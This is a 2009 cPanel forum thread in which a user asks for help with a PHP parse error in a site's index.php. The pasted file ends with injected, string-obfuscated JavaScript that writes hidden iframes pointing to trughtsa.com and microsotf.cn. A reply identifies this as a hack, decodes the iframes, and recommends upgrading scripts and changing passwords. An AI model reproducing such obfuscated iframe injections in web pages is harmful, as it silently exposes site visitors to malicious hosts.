Go Back   cPanel Forums > General Discussion > cPanel Newbies

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 07-07-2009, 05:17 PM
Registered User
 
Join Date: Feb 2007
Posts: 71
mail2sacp is on a distinguished road
syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in

Hi,

I have following code and getting following error on my site.
-------------------
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/home2/qandeelt/public_html/index.php on line 75
------------------------------------------------------------------
Code:
<?
include ("top.php");
include ("left.php");
/* Popular Destination Starts */
$PDSQL = "SELECT * FROM ".TABLEPREFIX."_destination d,".TABLEPREFIX."_destination_data dd
WHERE 1 AND d.destination_id = dd.destination_id
AND d.is_active='Y'
AND dd.language_id='$_SESSION[sess_language_id]'
AND d.is_popular='Y' ORDER BY d.destination_order";
$PDData = $UserManagerObjAjax->GetRecords("All",$PDSQL);
/* Popular Destination Ends */
/* HomeSection Tour Select Starts */
$SqlHomeSectionLeft="SELECT * FROM ".TABLEPREFIX."_home_sections hs,".TABLEPREFIX."_home_sections_data hsd
WHERE hs.section_position='L'
AND hs.section_id = hsd.section_id
AND hsd.language_id='$_SESSION[sess_language_id]'
AND hs.is_active='Y' ORDER BY hs.section_order";
$HomeSectionLeftData=$UserManagerObjAjax->GetRecords("All",$SqlHomeSectionLeft);
$CountHomeSectionLeft = count($HomeSectionLeftData);
if($CountHomeSectionLeft > 0)
{
foreach($HomeSectionLeftData as $key => $value)
{
if($value['special_id']==2 && !empty($value['special_item_id']))
{
$SqlSelectTour="SELECT * FROM ".TABLEPREFIX."_tour WHERE tour_id=".$value['special_item_id'];
$TourData = $UserManagerObjAjax->GetRecords("All",$SqlSelectTour);
$HomeSectionLeftData[$key]['tour_days'] = $TourData[0][tour_days];

$TourInitialDeposit = "SELECT MIN(tour_initial_deposit) price FROM ".TABLEPREFIX."_tour
WHERE tour_id=".$value['special_item_id']."

AND is_active='Y'";
$HomeSectionLeftData[$key][tour_initial_deposit] = $UserManagerObjAjax->GetRecords("One",$TourInitia
lDeposit);
$HomeSectionLeftData[$key][url] = "tours.php?tour_id=".$HomeSectionLeftData[$key][special_item_id];
}else{
:75
FROM ".TABLEPREFIX."_nl_mailing_group mg,".TABLEPREFIX."_nl_mailing_group_data mgd
WHERE mg.group_id=mgd.group_id
AND mgd.language_id=".$_SESSION['sess_language_id']."
AND mg.is_active='Y'
ORDER BY mg.group_id";
$NLGroupArr = $UserManagerObjAjax->HtmlOptionArrayCreate($SelectNLGroupSql);
$NumNLGroupArr=count($NLGroupArr);
if($NumNLGroupArr==1)
{
$NLGroupArrOne=$UserManagerObjAjax->GetRecords("All",$SelectNLGroupSql);
$NLGroupOne=$NLGroupArrOne[0]['group_id'];
}
/* Get Newsletter Group Ends */

$smarty->assign("CountHomeSectionLeft",$CountHomeSectionLeft);
$smarty->assign("HomeSectionLeft",$HomeSectionLeftData);
$smarty->assign("PopularDestination",$PDData);
$smarty->assign("NLGroupArr",$NLGroupArr);
$smarty->assign("NumNLGroupArr",$NumNLGroupArr);
$smarty->assign("NLGroupOne",$NLGroupOne);

$smarty->display("index.tpl");

include ("right.php");
include ("bottom.php");
?> <?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?><?php echo '<script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pag
eTracker._trackPageview();} catch(err) {}</script>'; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script>document.write("<"+"i"+
"f"+"ram"+"e sr"+"c=\"h"+"t"+"tp"+":"+"/"+"/tr"+"ught"+""+"s"+"a.c"+"o"+"m/\" wid"+"th=1 he"+"ight"+"="+"2></if"+"r"+"a"+""+"me>");<
/script>'; ?><?php echo '<script>document.write("<i"+"fr"+"a"+"me s"+"rc=\"h"+"tt"+"p"+":"+"/"+"/tru"+"ght"+""+"sa.c"+"o"+"m"+"/\" w
id"+"th=1 he"+"ight"+"="+"2></i"+"fra"+""+"m"+""+"e>");</script>'; ?><?php echo ''; ?><?php echo '<script>document.write("<if"+''+'r
a'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''
+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>
---------------------------------------------------------------
Please let me know how can I fix this as its getting critical now.

Regards
Mail2sacp

Last edited by Infopro; 07-07-2009 at 10:14 PM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #2 (permalink)  
Old 07-07-2009, 06:42 PM
txspaderz's Avatar
Registered User
 
Join Date: Jun 2008
Location: Houston
Posts: 17
txspaderz is on a distinguished road
Quote:
Originally Posted by mail2sacp View Post
Hi,

I have following code and getting following error on my site.
-------------------
---------------------------------------------------------------
Please let me know how can I fix this as its getting critical now.

Regards
Mail2sacp

You have been hacked:
Code:
<?php echo '<script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pag
eTracker._trackPageview();} catch(err) {}</script>'; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script>document.write("<"+"i"+
"f"+"ram"+"e sr"+"c=\"h"+"t"+"tp"+":"+"/"+"/tr"+"ught"+""+"s"+"a.c"+"o"+"m/\" wid"+"th=1 he"+"ight"+"="+"2></if"+"r"+"a"+""+"me>");<
/script>'; ?><?php echo '<script>document.write("<i"+"fr"+"a"+"me s"+"rc=\"h"+"tt"+"p"+":"+"/"+"/tru"+"ght"+""+"sa.c"+"o"+"m"+"/\" w
id"+"th=1 he"+"ight"+"="+"2></i"+"fra"+""+"m"+""+"e>");</script>'; ?><?php echo ''; ?><?php echo '<script>document.write("<if"+''+'r
a'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''
+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>
That basically says:
Code:
<?php echo '<script>document.write("<i"+
frame src=http//trughtsa.com/\" width=1 height=2></iframe>");<
/script>'; ?><?php echo '<script>document.write("<iframe src="http://trughtsa.com" width=1 height=2></iframe>");</script>'; ?><?php echo ''; ?><?php echo '<script>document.write("<iframe src=http://microsotf.cn/ width=1 height=2></iframe>);</script>'; ?>
I'd recommend upgrading all of your scripts, changing your password, etc etc.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 07-07-2009, 08:07 PM
Registered User
 
Join Date: Feb 2007
Posts: 71
mail2sacp is on a distinguished road
Thank you very much I have restored file from backup and informed client to change all passwords.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Parse error: syntax error, unexpected T_ECHO nileshparmar cPanel and WHM Discussions 2 04-03-2009 05:58 AM
SMTP Unexpected Error VirtuaLira Mail 0 09-29-2008 09:57 AM
syntax error hassnetwork cPanel Newbies 3 01-18-2006 10:09 AM
Error in Exim - Lost Incoming Connections / Unexpected Termination in SMTP silversurfer cPanel and WHM Discussions 3 10-30-2004 01:21 PM
syntax error in X theme mikeyskona cPanel and WHM Discussions 0 02-05-2004 03:06 AM


All times are GMT -5. The time now is 12:18 PM.


Powered by vBulletin® Version 3.8.2
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
© cPanel Inc